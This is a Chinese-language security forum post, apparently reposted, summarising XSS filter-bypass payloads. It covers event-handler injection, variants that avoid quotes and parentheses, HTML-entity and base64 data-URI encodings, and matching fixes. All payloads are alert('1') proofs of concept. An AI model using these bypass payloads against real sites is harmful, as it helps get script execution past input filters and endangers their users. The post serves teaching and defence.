【技术讨论】常见xss绕过小总结


第一类:<tag on*=*/>
在html标签事件中触发,典型的是on*事件,但是这种触发模式的缺陷在于不能直接触发所以更多的需要配合使用。
eg:
    1.使html元素占据整个显示页面 <a onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </a>
    2.增加属性触发事件 <input onfocus="alert('1')" autofocus/>
    3.自动触发事件<body onload="alert('1')"></body>
在真实环境中,' 、" 、( 、) 都是属于黑名单中的成员,如果遇到以上四个字符被过滤的情况,那么我们就需要使用其他字符去代替,或者编码的方式去绕过。
eg:
    1.不使用 "  <input onfocus=alert('1') autofocus/>
    2.不使用 '  <input onfocus="alert(/1/)" autofocus/>
    3.不使用 ( )  <input onfocus="alert`'1'`" autofocus/>
    4.不使用 ' " ( ) <input onfocus=alert`1` autofocus/>
    5.使用html实体编码绕过 <input onfocus="alert('1')" autofocus/>
    6.使用html实体编码绕过变形 <input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>
这里如何修补该漏洞呢?常见修补方式有如下
eg:
    1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig
    2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 " < " ,所以只需要将 " < " 使用html实体编码转换即可。常见匹配策略 /</g


第二类:<tag src=*/>
该类型的触发点其实相对较少的,曾经最经典的一个莫属于IE6中的 <img src="alert('1')"/> 但是这个问题已经成为历史,在其它tag中使用src属性触发xss的列子也还是有的。
eg:
    1.在iframe标签中加载一个脚本页面 <iframe src="./alert.html"></iframe>
    2.在script标签中加载一个脚本 <script src="./alert.js"></script>
在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本
eg:
    1.在iframe标签中使用Data URI scheme直接嵌入文本 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>
    2.在script标签中使用Data URI scheme直接嵌入文本 <script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式
eg:
    1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
    2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第一类的变形使用
eg:
    1.使用html实体编码URI <script src="./alert.js"></script>
    2.使用html实体编码Data URI scheme <script src="data:text/html,alert('1')"></script>
    3.使用html实体编码BASE64编码之后的Data URI scheme <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
该类问题的修补策略和第一类类似。常见方式有如下。
eg:
    1.在允许使用外部元素的时候,鄙人不才没能想出处理方案。
    2.在不允许使用外部元素的时候,在src所指向的URI上加入当前网站的域名,以此限制内容为当前网站中的安全内容。
    3.在不允许使用元素引入的时候,但是允许插入html标签排版的情况下,指定tag白名单或者tag黑名单。
    4.不允许使用html标签的时候,将 < 转换为html实体编码。


本文想到哪里写到哪里,可能遗漏了一些地方,每个游览器特性不一样,针对性的bypass也有很多,可以专门找文章来看看,请大牛们多多包含。
最后感谢啤酒师傅,董师傅,李师傅,lcy师傅,Wan师傅们一直教我。。
勇爷 你咋那么多师傅
不错!虽然比较基础,但是好歹没啥客观上的错误。

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/773.html?fpage=9

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads